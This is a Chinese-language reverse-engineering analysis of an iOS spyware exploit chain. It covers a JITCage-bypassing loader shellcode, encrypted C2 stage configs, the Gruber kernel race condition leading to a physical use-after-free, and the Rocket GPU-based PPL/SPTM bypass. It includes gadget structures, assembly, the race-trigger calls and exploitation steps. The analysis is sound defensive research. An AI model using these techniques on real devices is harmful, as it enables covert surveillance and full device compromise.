框架再次验证自身不在 macOS 上运行，推测原因是该 LPE 漏洞利用仅支持 iOS。

随后他们实例化一个负责加载 MachO 阶段的新类。这将最初使用默认值链接 shellcode 并解压缩一个 base64 编码的 MachO。它还会将资源 url、ChaCha20 密钥、日志 url（此部署中为空）和用户代理写入不同的缓冲区，以便 MachO 可以访问它们。用默认值填充所有内容允许他们准确计算代码洞所需的大小。基于可用的方法，JIT 加载模块将要么通过 ExecutableMemoryHandle::createImpl 或 MetaAllocator::allocate 创建代码洞，或者如果两者都不可用，则使用 LinkBuffer::linkCode 和代码哈希例程来创建代码洞。然后它将调用 MachO 加载类将代码链接到创建的地址。这将连接解压缩的 MachO、加载它的 shellcode、ChaCha20 密钥、资源 url、文档 url、导航器用户代理和日志 url（此部署中为空）。shellcode 本身也在开头包含一个引用所有这些缓冲区的结构：

struct config
{
  uint64_t load_2_addr;
  uint64_t macho_load_addr;
  uint64_t is_zero;
  uint64_t code_addr;
  uint64_t macho_23_len;
  uint64_t resource_url_addr;
  uint64_t ChaCha20_key_addr;
  uint64_t document_url_addr;
  uint64_t data_to_load_addr;
  uint64_t useragent_addr;
  uint64_t logging_url_addr;
  uint64_t signed_pacia1716_gadget;
  uint64_t signed_pacib1716_gadget;
  uint64_t signed_pacda_gadget;
  uint64_t signed_pacdb_gadget;
  uint64_t signed_braa_x10_gadget;
  uint64_t mov_x2_x11_braa_x14_gadget_paciza;
  uint64_t jit_op_mov_x13_4911_brab_x2_x13;
  uint64_t braa_x14_pac_ctx;
  uint64_t dlsym_addr;
  uint64_t unk;
  uint64_t in_private_browsing_mode;
  uint64_t should_do_logging;
};

因此，shellcode 还可以访问多个签名和分支 gadget。

最后，它使用 JIT 加载模块通过调用 LinkBuffer::linkCode 加载此代码，用 shellcode 例程对其进行哈希，然后从 MachO 加载类获取入口点，启动 C2C 例程，并跳转到它。

3.4.3. 加载器 shellcode

shellcode 的目的是将 MachO 加载到内存中，然后可选地跳转到它。它相当大，因为它必须包含完整的 MachO 解析器和加载器，以及击败 JITCage 的代码模式。这也是本节的重点，若你对 JITCage 绕过不感兴趣，可直接跳至下一节。

关于 JITCage 的公开文档十分有限；我只找到了 Synacktiv 的这份演示文稿 以及 Luca 的一场演讲。JITCage 是作为 A15 上的硬件功能引入的。一般来说，Apple 的高层想法似乎是他们想要控制攻击者可以在 JIT 代码中执行什么。常规 JIT 代码不需要执行任何系统调用，例如，所以它们会在 JIT 区域内的 SVC 指令上触发故障。类似地，它们也不允许通过 MRS 和 MSR 指令访问系统寄存器。最后，它们还想防止攻击者从 JIT 代码获得任意控制流，所以它们禁止任何 PAC 签名指令和任何未经 PAC 认证的跳转到 JIT 区域外的控制流指令。因为 JIT 区域内 IA 和 IB 签名的 PAC 密钥不同，JSC 可以锁定自己不再生成可能的”退出”路径从 JIT 区域，它确实这样做了。在启动期间，它将为 JIT 代码必须调用的所有函数生成签名，然后设置一个位来锁定自己不再签名新的函数。因此，攻击者无法生成新的 gadget 供其 JIT 代码调用。

在我看来，这段 shellcode 似乎由自定义编译器编译而成，以兼容当前运行环境，同时保持对不支持 PAC 的旧 CPU 以及没有 JITCage 的 CPU 的兼容性。为了保持与旧 CPU 的兼容性，shellcode 利用了 XPACLRI 指令在旧 CPU 上编码到 NOP 空间的事实，因此它可以用作区分器来检测 CPU 是否支持 arm8.3 PAC 扩展：

MOV             X30, #0xAAAAAAAAAAAAAAAA
XPACLRI
MOV             X0, #0xAAAAAAAAAAAAAAAA
CMP             X0, X30
CSET            X0, NE

如果 CPU 支持 PAC，XPACLRI 将清除 X30 中的 PAC 位，但在没有 PAC 的设备上它作为 NOP 执行，因此 X30 仍然是 0xAAAAAAAAAAAAAAAA。为了避免执行 RET 指令，使用以下代码：

MOV             X10, X30
MOV             X30, #0xAAAAAAAAAAAAAAAA
XPACLRI
MOV             X11, #0xAAAAAAAAAAAAAAAA
CMP             X11, X30
MOV             X30, X10
B.NE            +0x8
RET
MOV             X10, X30
BLR             X10

因此在非 PAC 设备上，代码将执行 RET；而在 PAC 设备上，它将执行 BLR 以返回调用者。除此之外，他们还有一个用于外部调用的辅助分发函数。这将在 x10 中获取要调用的函数指针，然后检查 JITCage 是否启用（jit_op_mov_x13_4911_brab_x2_x13 在配置中已填充），如果没有则剥离 PAC 位并直接跳转：

MOV             X11, X30
MOV             X30, X10
XPACLRI
MOV             X10, X30
MOV             X30, X11
BR              X10

否则必须通过间接跳转。请记住，攻击者无法生成新的 JIT 退出点，因为用于签名有效函数指针的密钥已被锁定，因此他们只能利用现有的退出点来获取调用原语。为此他们使用 JIT 操作函数 vmEntryHostFunction，这是一个非常简单的函数：

global _vmEntryHostFunction
_vmEntryHostFunction:
    jmp a2, HostFunctionPtrTag

翻译为以下汇编：

_vmEntryHostFunction
MOV             X13, #0x4911
BRAB            X2, X13

所以这是一个他们可以从 JIT 代码跳转到的函数，通过将 X2 设置为使用 HostFunctionPtrTag/0x4911 作为上下文签名的有效函数指针，他们可以进一步跳转到那个函数。所以分发中的流程如下：将所有参数推入栈以保留它们，跳转到 vmEntryHostFunction，设置然后跳转到一个 pacia 签名 gadget，该 gadget 将签名真正的目标函数指针。指向 pacia gadget 的函数指针在配置中正确签名为 signed_pacia1716_gadget。调用后恢复参数，然后通过 vmEntryHostFunction 调用真正的函数指针。

从高层来看，shellcode 将执行以下步骤：

• 通过用不同的可能端口调用 task_info 来暴力破解 mach_task_self，直到调用成功
• 设置一个大的上下文结构，包含各种辅助函数的函数指针，如链接器函数（dlsym、dlopen 等）和其他系统函数（如 sys_dcache_flush）
• 使用 COM 页检测 CPU 特性
• 加载 MachO 并将其注册到 objc 运行时
• 刷新数据和指令缓存
• 从 MachO 获取符号 _process
• 为执行做准备
• 跳转到它

3.4.3.1. 补丁查找 objc 符号

（点击展开） shellcode 使用两种有趣的策略来查找 map_images 的地址，它不是一个导出函数。对于第一种策略，他们将使用一个导出函数作为锚（在本例中是 _objc_flush_caches），然后使用 dladdr 调用直到 dli_saddr 改变来检测函数边界，从那里遍历 n 个函数直到找到正确的函数。对于第二种策略，他们基本上知道在 objc 数据段中 _objc_patch_root_of_class 紧挨着 map_images，所以他们将 dlsym 它，然后遍历整个数据段直到找到指向它的指针，从中可以相对读取出 map_images 的地址。

3.4.4. 嵌入的 MachO

嵌入的 MachO 将设置与 C2C JS 客户端通信的互操作函数，并实现解析 C2C 服务器配置文件、对其采取行动的函数，检测 CPU 特性和 iOS 版本（这也会检测”不安全”环境如 Corellium），以及检测宽松沙箱和在 iTunes Store（而不是 Safari）内的代码执行。主函数然后将对 Corellium、有效 CPU 和 hw.l2cachesize、没有 kern.bootargs 和没有 HOST_CAN_HAS_DEBUGGER 配置进行另一次环境检查。然后生成一个新线程，该线程将自己注册为 UIBackgroundTask，以便它可以与 JS 并行运行，允许轻松的网络通信。后台任务将可选地向 C2C 服务器发送日志。

线程启动后，会从服务器下载一份配置文件。对于此捕获，那是 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js。文件使用 ChaCha20 加密并使用 LZMA 压缩。只有当头部为 0xBEDF00D 时才进行解压缩。之后解析配置。我也写了自己的解析器，所以我们可以看看里面：

python3 parse_config.py ../processed_files/28_7a7d99099b035b2c6512b6ebeeea6df1ede70fbb_decompressed
elem: 0x70000 0x3 @ +0x18 (0x878)
0xf2300000 6c682a65deb7cf020dd640d130a2a73e9442ccddc441520c951620a4142605ad b'4800048658463f971e752ff93c1767e9ae7f3431.min.js'
0xf3300000 230ddaa380a7899e52be22cc926a4b7609303e14c3ed55d59049d3b20ee12974 b'b442ab113b829ff8c7bf34afa4d2d997889f308f.min.js'
0xf2400000 176f3b0d80c6c94f5bcc3e638185d1a4a057a859141b569f877468cc7bd7c149 b'5258f6e3eef3eda249179aa1122b50b03cbeea18.min.js'
0xf3400000 e6542d26109c5c3aa4f33c9ee07d69dc58ef66e81a7c20c2447cff7fe9f45a0c b'a78a94196b5d2c95865f6a8423a6b8eb86d07c6c.min.js'
0xf2700000 50a323f335f2bf4634b8f13526dc46f73d6ae15d4960d1f72e601aa4e733a7ec b'38af3c8ba461079a0edc83585023f76843066dcf.min.js'
0xf3700000 cab13d34917b6f5bdcfc69d7c668021b735a4d82b05b0918b9e228dc1860988e b'1334417664270db20af705f422878c53c8378203.min.js'
0xf2800000 6662406a17f3a38fdbbf9938d3c4c07b649ad22cf6d6f4c00bc9db96910b3817 b'226cbd845c5f470075505392be8693ec6d4f5ba3.min.js'
0xf3800000 fdd8b3940d2a06b0229d814e874095fd1fa87cb53db4699ba9dd8dd7370cf8cc b'ae7efd66ecde9e964cfe92f64e9b6461fce38f28.min.js'
0xf2900000 8360789e772f55126e9114dc7965d3162d6b7a781ddfa69be0971c66f04e6045 b'7a1cef00016b950be42f5288ead21fa6fccc3107.min.js'
0xf3900000 388976a2cdce966476ddc0f79249081ec182efc26808beb2e2e456f8c4809535 b'377bed7460f7538f96bbad7bdc2b8294bdc54599.min.js'
0xf3730000 3cb781d9c1ade5c3b54606839baa51f5c5751f73f0cd055fc101e41d467403d7 b'c8a14d79a27953242d60243ee2f505a85d9232cc.min.js'
0xf3830000 bdff99612a2aa99aef5cd7845d7f0b06a77c36d4f674fab7939799a39b8f78b1 b'1b2cbbde08f8b2330b7400abcb97c9573973e942.min.js'
0xf2750000 58199343c3811b01adda525bc08fcf135c6369fb3bdc3d52ca2374491e789f48 b'e9f898587620186e31119fbf32660f26c1e048e0.min.js'
0xf3750000 a6244c09c0588cf126ad727f75a647132543239c8b8fff5d362d56b616752327 b'f4120dc6717a489435d86943472c5a2444aac8e6.min.js'
0xa2050000 7da5f7d73e652aa782c89a883c27d0898affddf5d13b5914423a66a15ad3b319 b'f8a86cf368fdbbe294813926a2a229df041eb758.min.js'
0xa3050000 c02c657bb22d6cfc6aed70143f1fc8fbd44f33dbe6e12979d10c7891dcfc25c7 b'72a5ac816709f9c331f2b3afb76cd3d96517ea14.min.js'
0xa3060000 338bf220589af21d44e4dda167fab47c99040da951c40406ff99b5c4cc48735e b'980c77f1747afa9ac1fa5f8fbfb9e6663e9f82bb.min.js'
0xa3030000 be7efb67c5b39656f00f03b5a06593bf41bd760e5280a887f0a701226f39c3c8 b'5e89f83ec50c6223d664d3f3260ef874a3d6d796.min.js'
0xa3040000 a19b901b47f9dd7b86ca75fa1d25bd4404e9cdd2e2bf56722149fc213434f00e b'2a1d692b7b5ba793527b2c14b48db21a3e5d2c5f.min.js'

基本上这个配置文件包含一个类型为 0x70000 的元素，这也是预期的，然后在里面有一个 <类型>、<ChaCha20 密钥>、<url> 元组的列表。选择代码支持高位为 0xA2000000（arm64）和 0xA3000000（arm64e），以及基于 CPU 特性/Core 代的低位为 0x30000、0x40000、0x50000 或 0x60000（用于宽松沙箱情况），以及版本/型号的 0xF1000000（非 ARM）、0xF2000000（arm64）、0xF3000000（arm64e）和 0x900000、0x800000、0x700000、0x400000 或 0x300000。对于我们的捕获，选择了 0xF3900000。由于一个逻辑错误，“.min” 实际上被剥离了，文件以常规 .js 形式下载。所以在我们的情况下它下载 377bed7460f7538f96bbad7bdc2b8294bdc54599.js。解密和解压缩后我们得到以下文件：

elem: 0x80000 0x3 @ +0x78 (0x37e40)
elem: 0x90000 0x3 @ +0x37eb8 (0x516d0)
elem: 0xf0000 0x3 @ +0x89588 (0x2eb40)
elem: 0x70005 0x3 @ +0xb80c8 (0x2c)
elem: 0x50000 0x3 @ +0xb80f4 (0x610c)
elem: 0x90001 0x3 @ +0xbe200 (0x50a40)
elem: 0x70000 0x3 @ +0x10ec40 (0x1d4)
0x2900000 85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb b'4612aa650e60e2974a9ec37bbf922c79635b493a.min.js'
0xe2900000 b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2 b'4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js'

新配置（0x70000）包含 PE 的条目，套件稍后将下载（0xe2900000）。0x70005 是 PE 应该注入到的进程名称（在我们的情况下是 powerd）。其余文件是两个 MachO，我们将在接下来详细查看。

代码随后将使用以下 id 更新配置：

• 0x70001：资源 url
• 0x70002：ChaCha20 密钥
• 0x70003：文档 url
• 0x70004：用户代理
• 0x70006：日志 url

之后返回新配置（0x70000）。如果 dyld_task_info.all_image_info_addr->jitInfo 未填充，它将获取 0x50000 然后加载 0x90001 作为 MachO，从中解析 _driver 并调用该函数。这然后生成一个新上下文，由主函数进一步填充。之后它将一些内存映射为 RW，将 0x50000 shellcode 复制到那里，保护它为可执行，并在上下文上做一些进一步的设置。之后无论 jitInfo+0x4000 如何都会被调用，上下文的部分被重新填充。最后加载 0x80000 并映射，从中检索 _start 然后调用此方法。0x90000 最终在 0x80000 内部被调用，然后包含主要的 LPE 和 PPL/SPTM 绕过逻辑。目前我没有对 0x90001 和 0x50000 进行任何深入分析，但将来我可能会回到它们。

3.4.5. 0x80000 MachO

受时间所限，我也仅对该 MachO 进行了高层审查。它似乎是 PE 编排器，加载主 PE MachO（0x90000），在其上调用 _driver 以获取上下文，然后调用此上下文内的函数来运行 PE、PPL/SPTM 绕过，然后加载植入物。

3.4.6. 0x90000 MachO

0x90000 MachO 是主要的 PE 阶段。其中包含 Gruber（内核 LPE）和 Rocket（PPL/SPTM 绕过）。具体来说，驱动结构中 @+0x18 处的函数负责启动 LPE。它将首先初始化一个非常大的 LPE 上下文结构。然后进行一些指纹检测。为 PE 本身初始化另一个上下文，运行它，然后引导一个内核解析框架。从那里它将开始提升权限。例如，它会找到 developer_mode_status 和 allows_security_research 并覆盖它们。@+0x20 处的函数将作为 C2C 函数，向调用者导出某些命令。其中一些命令需要 PPL/SPTM 写入原语，在这种情况下会运行 Rocket 来设置一个自引用页表项，然后用于绕过 PPL/SPTM 保护。

3.5. 内核读写（Gruber）

Gruber 是 vm_map 和 mach_make_memory_entry_64 调用之间的竞态条件，导致 vm_object 上的引用计数减少，然后可以将其转化为 pUAF，从中获得早期读取和物理映射原语。通过早期读取，他们可以解析每个要访问的虚拟地址到物理地址，然后使用物理映射原语来读写它。这也给了他们一个指向其任务结构的指针，从中可以轻松找到所有其他重要的内核结构。从那里根据版本，他们部署不同的稳定读写策略，我也将在这里描述。

3.5.1. 找出漏洞

由于该漏洞极其复杂，我认为带你走一遍分析过程，比直接描述漏洞本身更容易理解。我将跳过很多设置以保持这部分简短一些，我们将在漏洞利用部分中更深入地讨论这些。

最初，漏洞利用会寻找一个至少 18 页大的子映射（vm 深度为 1）。然后它为这些 18 页的每个竞态线程（数量取决于设备）创建内存条目端口。然后从这些端口中选择第一个用于主线程，并通过 vm_map 映射内存。之后他们分配一个比目标大小大一页的映射，并调用 vm_copy 从第一个映射创建虚拟副本到第二个映射。然后释放第一个映射。之后他们裁剪副本映射——这是通过在副本映射的最后一页上分配然后再次释放来完成的。这保证了副本映射的 vm_entry 只跨越它。设置完成后，漏洞利用正式开始。获取 vm_object 的引用计数（通过 vm_region_recurse_64）。这在整个漏洞利用过程中都会执行，以验证漏洞是否成功触发以及引用是否被减少。然后启动竞态线程，一旦它们就绪，它们尝试并行执行 vm_map 调用，而主线程执行 mach_make_memory_entry_64 调用。这两个调用都将第一个内存条目端口作为参数传递。mach_make_memory_entry_64 调用作为父条目，vm_map 调用映射该内存。vm_map 的参数是：

vm_address_t addr = 0;
// ...
ret = vm_map(mach_task_self(),
            &addr,
            size,
            0,
            VM_FLAGS_FIXED,
            memory_entry_port,
            0x0,
            true,
            VM_PROT_READ,
            VM_PROT_READ,
            VM_INHERIT_DEFAULT);

如你所见，因为 VM_FLAGS_FIXED 被设置且 addr 为 0，此调用将始终失败并返回 KERN_INVALID_ADDRESS。mach_make_memory_entry_64 的调用方式如下：

mach_make_memory_entry_64(mach_task_self(),
                        &size,
                        0x0,
                        VM_PROT_READ,
                        &new_port,
                        memory_entry_port);

然后再次获取 vm_object 的引用计数，如果它没有增加，则竞态成功，否则重新尝试。代码期望最多减少与线程数相同的引用计数，这是一个很好的指标，表明 vm_map 调用正在减少引用——每个 vm_map 调用都有能力减少一个引用。

唯一容易获得的另一个好信息是，在 iOS 17.3 中漏洞被修补时，Apple 现在在 mach_make_memory_entry_64 中对父条目加了锁，而之前没有（感谢 Apple 最近发布了细粒度的 XNU 源代码！）。

仍然存在的主要问题是 vm_map 调用运行了如此多的内核代码（数千行），以至于很难弄清楚 mach_make_memory_entry_64 中的什么副作用导致了引用减少。我们尝试了静态分析来弄清楚这一点，花了 50 多个小时（感谢所有在语音通话中坚持的人！），但我们就是找不到根因。随后我想到一个办法：利用 Corellium 在内核中捕获两次执行跟踪，一次在竞态成功、引用减少时，一次在失败时。然后我可以比较两个跟踪，希望通过查看它们分歧的地方，根因就会显现出来。

3.5.1.1. 获取 Corellium 跟踪

（点击展开） 过去我使用过 Corellium 的 HyperTrace 功能来获取内核执行跟踪。“幸运的是”，该功能在我的 Corellium/型号/版本组合上出了问题，这导致我尝试了 CoreXight。这是一个基于 CoreSight 的更低级功能，允许完整的 VM 跟踪，包括用户态，这对此非常有用，因为它允许我在 vm_map 系统调用上对齐两个跟踪。

要启动跟踪，需连接到 Charm 控制台并执行 armtrace 命令：

$ rlwrap socat - /run/charmd
armtrace name:<vm name> stream:/tmp/capture.bin filter:"clear: name:<process name>" el1:1

这将跟踪虚拟机 <vm name>，过滤进程 <process name>，el1:1 指定我们要从 EL1 获取内核跟踪（而不是例如跟踪一个飞地）。跟踪将保存到 /tmp/capture.bin。重要的是，这会生成非常大的跟踪，这也使分析变得复杂，所以理想情况下你希望尽可能短地捕获。我基本上打开了两个面板，在第一个中快速触发，在第二个中运行我的漏洞利用重新实现直到成功，然后在第一个中快速停止跟踪（简单地发出不带任何参数的 armtrace name:<vm name> 将停止并保存跟踪）。

跟踪以自定义格式保存，但 Corellium 提供了一个工具（corexight）来解析它并将其作为非常大的文本文件输出。该工具还可以消费 MachO 以获取基本块信息并解析系统调用。我使用以下参数调用它：

corexight /tmp/capture.bin -strace /usr/share/corellium/strace/ios-arm64.csmf -global macho:/tmp/kc@0xfffffff029d04000

第一个参数是跟踪文件，然后是系统调用定义以允许解析那些，然后是内核的 MachO。使用 @0xfffffff029d04000 你可以指定 MachO 的加载地址（对于内核你可以在 UI 的设置中找到）。

跟踪看起来像这样：

5  1430 gruber           51072 > 0x00000001df14c1d4 mach_msg2 (...)
 5  1430 gruber           51072 0xfffffff02aacb474-0xfffffff02aacb477
 5  1430 gruber           51072 0xfffffff02aacb478-0xfffffff02aacb4bb
 5  1430 gruber           51072 0xfffffff02aacc560-0xfffffff02aacc563

我使用以下 grep 链对跟踪结果进行了预过滤：| grep gruber | grep -v "# exception" | grep -v "simulator break" | grep -v "now running in" | gzip，因为 corexight 只在 Linux 上运行，我想在我的 Mac 上分析跟踪。我基本上只过滤我的进程，过滤掉所有中断和异常，然后 gzip 结果以将其传到我的 Mac 上。

我的最终跟踪在开头存在一处微小差异（可能是系统调用入口期间的某些操作），但随后二者便严重分歧。寻找到分歧点之前的地址直接带我找到了根因。30 分钟的动态分析击败了 50 多小时的静态分析，所以如果你有可能这样做，我只能推荐这种方法。

所以感谢动态分析和跟踪，我们知道流程在 vm_object_copy_strategically 函数中分歧。这是一个辅助函数，它告诉调用者如何执行 vm_object 的副本。基本上，在 vm_map 流程中的这一点，内核需要决定如何为即将创建的映射提供后备内存。该函数将根据 vm_object 的 copy_strategy 字段告诉调用者执行快速（MEMORY_OBJECT_COPY_SYMMETRIC）或慢速（MEMORY_OBJECT_COPY_DELAY）副本。为了使竞态成功，此函数需要将 copy_strategy 字段视为 MEMORY_OBJECT_COPY_SYMMETRIC，这将导致 vm_map 调用 vm_object_copy_quickly，但在此调用之前，mach_make_memory_entry_64 中的代码需要将 copy_strategy 更改为 MEMORY_OBJECT_COPY_DELAY。在这种情况下，vm_object_copy_quickly 将失败并返回错误，但外部调用代码没有检查返回值并盲目假设副本成功。在 vm_object_copy_quickly 成功的情况下，它将使 vm_object 的引用计数增加一，因此 vm_map 代码（盲目信任它成功）将在调用后无条件减少一个引用。在失败情况下，这导致引用计数减少过多。

3.5.2. Gruber 根因分析

mach_make_memory_entry_64 没有对父内存条目加锁，这允许它在锁外更改 vm_object 的 copy_strategy 字段。如果竞态窗口正确对齐，并行的 vm_map 调用将在 vm_object_copy_strategically 调用期间将 copy_strategy 视为 MEMORY_OBJECT_COPY_SYMMETRIC，并决定调用 vm_object_copy_quickly，基于其返回值。但由于 copy_strategy 可以被更改为 MEMORY_OBJECT_COPY_DELAY，对 vm_object_copy_quickly 的调用可能会失败。vm_map 中的外部代码假设对 vm_object_copy_quickly 的调用总是成功并无条件减少了一个引用，在失败情况下这导致减少了一个过多的引用，然后可以将其转化为 pUAF。

3.5.3. 漏洞利用

高层准备步骤是为 pUAF 准备物理页空闲池，并准备映射和 Mach 端口以便能够喷射 vm_map_entry 和 vm_object 对象。为此漏洞利用使用带有 MACH_MSG_VIRTUAL_COPY OOL 描述符的 mach_msg。

为了保证正确触发漏洞，他们最初创建了足够的内存条目端口（等于竞态线程数）来引用 vm_object 至少与竞态线程可以减少的引用次数相同，以便在成功触发漏洞后仍然有 4 个引用，即使所有竞态线程都赢了。因此，在获取 vm_object 的引用计数后，他们使用这些端口减少足够的引用以降到 4 个引用。从设置中他们还有一个映射的 CoW 副本。通过将其换入，他们再减少两个引用。最后两个引用通过释放 mach_make_memory_entry_64 调用返回的端口来减少。这将以一种仍然留下指向映射物理页的悬空 PTE 的方式释放 vm_object，但将表示映射的 vm_page 返回到空闲池，这是一个经典的 pUAF 场景。对于较旧的 iOS 版本，漏洞利用的工作方式略有不同，这让我认为 CoW 换入将对象降到 2 个引用是触发机制的重要部分，但我对 vm 子系统内部的知识不够深入，无法确定这一点。他们现在有两个 UAF：他们想要的 pUAF，以及 vm_object 上的 UAF（因为 vm_entry 仍然指向它）。为了解决后者，他们尝试通过简单的 vm_allocate 调用喷射对象来重新分配 vm_object。具体来说，他们在这里传递 VM_FLAGS_PURGABLE，我假设这是为了避免从空闲池为这些对象分配物理页。为了知道他们已经成功重新分配了 vm_object，他们利用了 VM_REGION_SUBMAP_INFO 中的 object_id_full 只是 vm_object 的混淆指针这一事实。因此通过获取映射的 VM_REGION_SUBMAP_INFO（通过 vm_region_recurse_64）并查看 object_id_full，当 ID 匹配时他们可以知道是否成功重新分配了 vm_object。他们还尝试观察某种模式……

他们的下一步是使用内核对象重新分配 pUAF 的内存。为此在下一步中他们想要一个干净的物理页空闲列表，或者更确切地说知道内核何时开始消耗他们的页面。因此他们将分配内存并在其上放置一个标记，然后观察 pUAF 映射以查看标记是否出现，并在循环中继续直到它出现。

他们触发漏洞两次：一次使用 mach_make_memory_entry_64，第二次使用 mach_msg 调用来喷射 vm_object 和 vm_entry。然后他们通过模式匹配在 pUAF 映射上检测它们。对于 vm_object 他们：验证引用计数不超过 0x80、pp 链表是否合理、某些位域是否正确设置、最后大小是否匹配。他们只在第一个条件上拒绝，因为他们无法保证他们的 vm_object 是页面上的第一个或者是否是外来的，但然后使用其他检查来验证它是他们的。

对于 vm_entry 他们验证 links.prev 看起来像内核指针，以及他们的内存标记（0xcc）是否与喷射条目中的匹配。然后检查 links.start 和 links.end 是否都指向正确的映射，以及条目在红黑树中没有子条目。

3.5.4. 早期读取

对于早期读取，他们将接收持有 OOL 描述符的 mach 消息，直到观察到 vm_entry 内的地址变为接收到的 OOL 描述符指向的地址。这意味着他们现在收到了正确的 mach 消息。如果他们没有观察到变化，他们将立即释放内存以避免进程使用过多内存；在识别出正确的消息后，他们将销毁所有其他消息。接收后，vm_entry 从 mach 消息内的副本映射移动到进程的 vm_map。然后漏洞利用可以对条目进行以下更改：将 links.next 指向他们想要读取的地址（加上偏移），通过将 links.end 减少一页来截断映射。此外，他们还通过设置 links.prev->links.next = links.next 从红黑树中移除条目。

然后他们在现在裁剪的页面上调用 vm_region_64。这导致 vm_map_lookup_entry 在遍历红黑树时找不到条目。vm_map_lookup_entry 的行为是返回在遍历期间当前条目的地址超过目标地址之前看到的最后一个条目。另一方面，vm_region_64 将返回下一个可用地址的信息。所以如果你例如在 0x0 上调用 vm_region_64 但只有 @ 0x4000 的映射，它会将地址设置为 0x4000 并返回 0x4000 处条目的信息。要达到此行为，它有以下代码：

if (!vm_map_lookup_entry(map, start, &tmp_entry)) {
    if ((entry = tmp_entry->vme_next) == vm_map_to_entry(map)) {
        vm_map_unlock_read(map);
        return KERN_INVALID_ADDRESS;
    }
} else {
    entry = tmp_entry;
}

所以如果查找失败（从而返回它看到的最后一个条目），它将取 tmp_entry->vme_next 来获取下一个条目。在流程中他们然后完全控制了条目，幸运的是代码只从条目中复制信息而不对其进行任何其他验证，给了他们一个不错的读取原语：

start = entry->vme_start;
basic->offset = VME_OFFSET(entry);
basic->protection = entry->protection;
basic->inheritance = entry->inheritance;
basic->max_protection = entry->max_protection;
basic->behavior = entry->behavior;
basic->user_wired_count = entry->user_wired_count;
basic->reserved = entry->is_sub_map;
*address_u = vm_sanitize_wrap_addr(start);
*size_u    = vm_sanitize_wrap_size(entry->vme_end - start);

basic 这里是返回到用户态的结构。读取后他们恢复原始值。

3.5.5. 物理映射原语

对于物理映射原语，他们将使用他们能找到的第一个 vm_object。从中他们剥离 internal 和 alive 标志，然后添加 phys_contiguous 和 pager_initialized 标志，并将 vou_shadow_offset 设置为他们想要映射的物理地址。然后他们可以通过 vm_map 映射此 vm_object，由于他们设置的标志，它将映射在 vou_shadow_offset 中指定的物理地址。从那里他们可以修改它。他们似乎然后进一步将其升级到另一个 vm_object，我不确定这样做的原因是什么。对于这个 vm_object，他们将偏移设置为 0，将 vou_size 设置为 -1。从那时起，他们可以通过在 vm_map 调用中将偏移设置为所需的物理地址来映射任何物理地址。

3.5.6. 进一步升级

他们可以读取 vou_owner 来获取他们的任务，从那里他们可以轻松解析其端口空间中的任何端口。我没有仔细逆向函数的其余部分，但其余部分似乎主要是清理所有对象以及导出原语以便常规读写函数可以使用它们。

3.5.7. 稳定读写策略

他们实现了 5 种不同的写入策略：通过 tfp0、通过 IOSurface（选择器 33）、通过管道缓冲区、通过 ioctl（FIOSETOWN）、通过他们的映射原语。他们没有使用最初设置的偏移量的映射原语，而是需要为此修改内核结构（我再次真的不理解为什么他们在这里复制原语）。为此他们需要一个 64 位内核写入。为此他们将在设置期间首先从 SpringBoard 窃取 IOGPU 端口，然后使用它创建一个 IOGPU 对象。然后他们使用原始映射原语映射此对象，并使用 IOGPUDeviceUserClient::s_delete_resource -> IOGPUDevice::delete_resource -> IOGPUResource::sharedRelease -> IOGPUDevice::decrement_allocated_size 作为 64 位递减原语来执行该写入。不确定为什么这种间接是必要的。

对于内核读取，他们有几种策略：通过 tfp0、通过 IOSurface（选择器 16）、通过管道缓冲区。最初，我不理解为什么他们甚至需要这些读取函数，因为他们可以使用映射原语将数据映射到用户态然后从那里读取，但 Alfie 正确地指出，为了读取 PPL/SPTM 保护的映射，他们不能映射它（因为那会导致内核崩溃），所以他们在这里提供这些原语是有道理的。根据版本（我假设还有沙箱），选择一个可用的原语。

3.6. PPL/SPTM 绕过（Rocket）

作为加载植入物前的最后一步，他们需要绕过 PPL（在现代手机上即 SPTM）。为此，他们获得 GFX（GPU）代码执行，击败该协处理器的 μPPL 实现，然后使用完整的 GFX 物理内存访问在 AP 上创建一个自引用页表项（PTE），他们可以用它来绕过 PPL/SPTM 写入保护内存。

3.6.1. GFX

GFX 是 Apple Silicon 上的 GPU 协处理器，运行自己的固件（RTKit 的一个变体）。AP 与 GFX 的通信通过两个内核驱动程序完成：IOGPU（高级驱动程序），以及 AGXG（低级驱动程序），后者在每个 Apple Silicon 代际上都有所不同。通常协处理器位于所谓的设备地址解析表（DART）后面，这是一个 IOMMU，限制协处理器对物理内存的访问。AP PPL/SPTM 将管理 DART 配置以确保协处理器无法 DMA 到保护内存。然而，GFX 并不位于 DART 之后，这可能出于性能考量，因为它需要访问大量内存，并在不同任务/内存映射之间频繁上下文切换。Apple 决定通过 GFX PPL 实现（他们称之为 μPPL）来缓解此风险；μPPL 负责确保即便攻击者在 GFX 上获得代码执行，GFX 也无法访问受保护内存。漏洞利用套件的作者似乎意识到这使得 GFX 成为 PPL/SPTM 绕过的首选目标，因为关注它的人更少，而且它在所有绕过中都被使用。

3.6.2. Rocket

在 iOS 17.4 中，有一个我将其与 Rocket 补丁关联的更改：GFX 的 __arm_arch_resume_uat 过去从内存加载 ttbr0/1 的原始值，现在不再这样做了。在该更改之前，当 GFX 从休眠中唤醒时，它会直接从内存加载根级页表的指针。这意味着如果攻击者能够控制内存，他们可以在唤醒时加载自己的假页表，允许他们绕过 μPPL，然后利用完整的物理内存访问在 AP 上创建自引用 PTE 以绕过 AP PPL/SPTM。

3.6.3. 漏洞利用

设置自引用 PTE 条目的函数最初会在 com.apple.iokit.IOGPUFamily、com.apple.AGXG kext 和 GFX 固件上做大量的偏移查找。之后它尝试从 backboardd 窃取 IOGPU 端口（不确定为什么他们需要再次这样做，因为他们已经从 SpringBoard 有了一个）。如果他们能获取端口，他们将创建一个新的命令队列和两个共享内存对象。然后他们将在两个共享内存对象上提交命令缓冲区，跟踪内核中的指针链以找到它们的内核地址，然后使用物理映射原语将它们映射到其地址空间。但该函数也支持在没有窃取端口的情况下操作。一旦他们有了所有偏移和 IOGPU 设置，他们将创建 GFX 的假页表并准备自引用 AP PTE 的映射。

为此他们使用另一种原语：kalloc 他们不拥有但由内核拥有的内存的能力。根据 XNU 版本，他们要么将 ipc_port_request_table 增长到他们想要的大小然后从受害者端口中移除它，要么有两种不同的方法使用 mach 消息的后端缓冲区来分配他们的内存。他们需要这样做的原因是让 GFX 内存即使在他们的进程不再存在后也能保持活跃。

